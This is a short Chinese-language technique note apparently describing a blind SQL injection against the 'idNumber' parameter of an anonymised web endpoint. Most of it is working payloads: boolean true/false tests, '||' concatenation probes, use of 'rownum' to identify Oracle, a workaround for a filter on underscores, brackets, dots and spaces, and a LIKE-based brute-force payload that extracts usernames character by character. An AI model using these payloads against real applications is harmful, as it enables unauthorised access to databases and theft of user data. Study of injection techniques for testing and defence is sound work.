正文
这里记录一下一些小技巧: 替换 路径/参数
在以下接口的的“idNumber”参数上找到注入点:
/foo/?theName=YAP&idNumber=248001[注入点]
识别是否执行成功true/false
的payload
/foo/?theName=YAP&idNumber=248001'+AND+'1'='1 TRUE
/foo/?theName=YAP&idNumber=248001'+AND+'2'='1 FALSE
也可以使用管道操作:
/foo/?theName=YAP&idNumber=248'||'001 TRUE /foo/?theName=YAP&idNumber=24'||'8'||'001 TRUE /foo/?theName=YAP&idNumber=24'||'X'||'001 FALSE
有了上面这些条件,就能够将此应用程序使用的数据库缩小到Oracle、PosgreSQL、IBM DB2或Informix。
尝试这个技巧:
/foo/?theName=YAP&idNumber=248'||<利用暴力破解来注入任何SQL函数>||'001
发现“rownum”
被接受了,这表明是Oracle。为了确认,查询如下信息:
/foo/?theName=YAP&idNumber=24800'||rownum||'
发现如下信息:
图
有点意思,现在我们如何从注入中提取数据呢?应用程序似乎过滤/替换了以下字符
_ ( ) + . whitespaces
一种使用有效负载提取数据的方法如下:
/foo/?theName=YAP&idNumber=248'||<bruteforce all column_name here>||'001 - We found few column names which one of it was "username"
最后一步是:
/foo/?theName=YAP&idNumber=248001'and''||username||''like'<bruteforce-character>%
最后得出用户名.
总结
主要是要会利用暴力破解的方法来进行注入